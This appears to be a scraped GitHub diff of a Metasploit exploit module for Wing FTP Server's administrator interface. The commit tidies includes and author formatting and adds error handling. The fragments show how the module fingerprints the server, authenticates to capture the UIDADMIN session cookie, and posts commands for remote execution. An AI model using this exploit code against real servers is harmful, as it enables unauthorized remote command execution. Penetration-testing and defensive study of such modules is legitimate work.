4
4
##
5
5
6
6
require 'msf/core'
7
- require 'msf/core/exploit/powershell'
8
7
9
8
class Metasploit3 < Msf ::Exploit ::Remote
10
- include REXML
11
9
include Msf ::Exploit ::CmdStager
12
10
include Msf ::Exploit ::Remote ::HttpClient
13
11
@@ -22,7 +20,7 @@ def initialize(info = {})
22
20
} ,
23
21
'Author' =>
24
22
[
25
- 'Nicholas Nam ( nick[at]executionflow.org) ' ,
23
+ 'Nicholas Nam < nick[at]executionflow.org> ' ,
26
24
] ,
27
25
'License' => MSF_LICENSE ,
28
26
'References' =>
@@ -54,7 +52,7 @@ def check
54
52
res = send_request_cgi (
55
53
{
56
54
'uri' => '/admin_login.html' ,
57
- 'method' => 'GET' ,
55
+ 'method' => 'GET'
58
56
} )
59
57
60
58
if res and res . body =~ /Wing FTP Server Administrator/ and res . body =~ /2003-2014 <b>wftpserver.com<\/ b>/
@@ -84,8 +82,10 @@ def execute_command(cmd, opts = {})
84
82
'vars_post' => { 'command' => command }
85
83
} )
86
84
87
- if res and res . code != 200
88
- fail_with ( Failure ::Unknown , "#{ peer } - Something went wrong." )
85
+ if !res
86
+ fail_with ( Failure ::Unreachable , "#{ peer } - Vulnerable page was unreachable." )
87
+ elsif res . code != 200
88
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unexpected HTTP Response Code." )
89
89
end
90
90
end
91
91
@@ -104,7 +104,9 @@ def authenticate(username, password)
104
104
} )
105
105
106
106
uidadmin = ''
107
- if res and res . body =~ /location='main.html\? lang=english';/
107
+ if !res
108
+ fail_with ( Failure ::Unreachable , "#{ peer } - Admin login page was unreachable." )
109
+ elsif res . code == 200 and res . body =~ /location='main.html\? lang=english';/
108
110
res . get_cookies . split ( ';' ) . each do |cookie |
109
111
cookie . split ( ',' ) . each do |value |
110
112
if value . split ( '=' ) [ 0 ] =~ /UIDADMIN/
0 commit comments